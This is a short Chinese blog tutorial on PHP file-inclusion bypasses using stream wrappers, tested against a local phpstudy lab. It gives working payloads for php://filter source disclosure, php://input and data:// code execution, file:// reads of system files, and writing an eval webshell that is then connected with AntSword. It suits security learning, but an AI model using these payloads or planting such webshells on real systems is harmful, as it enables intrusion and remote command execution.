文件包含绕过的小点总结(2)
我们在phpstudy的网站根目录上传了upload.php,详细可见上一篇总结。
文件包含漏洞的小点总结-CSDN博客
常见的PHP支持的伪协议:
file:// 访问本地文件系统
http:// 访问HTTP(S)网址
ftp:// 访问FTP(s)URL(s)
php:// 访问各个输入输出流
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
①http://,https:// 用于远程包含,只读方式访问文件或资源
②filter
例如访问:http://localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
显示:
PD9waHANCiRmaWxlbmFtZT0kX0dFVFsnZmlsZW5hbWUnXTsNCmluY2x1ZGUoJGZpbGVuYW1lKTsNCj8+
解码即可得到php内容
③input
例如访问http://localhost/upload.php?filename=php://input
在post body中写<?php phpinfo();?>或者写入 <?php system('ver');?>或者写入<?php system('ipconfig');?>等系统执行命令。
或者写入一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd']);?>')?>
发送POST请求后上传成功,使用蚁剑进行连接:
url:http://localhost/shell.php
密码:cmd
④file 用于访问本地文件系统,file://需要的是完整的路径
访问hosts文件:
http://localhost/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
⑤data
访问:http://localhost/upload.php?filename=data://text/plain,<?php phpinfo();?>
有时需要将php代码进行base64编码,那么就要写为:
http://localhost/include/upload.php?filename=data://text/plain;base64,..........(后面写php代码的编码内容)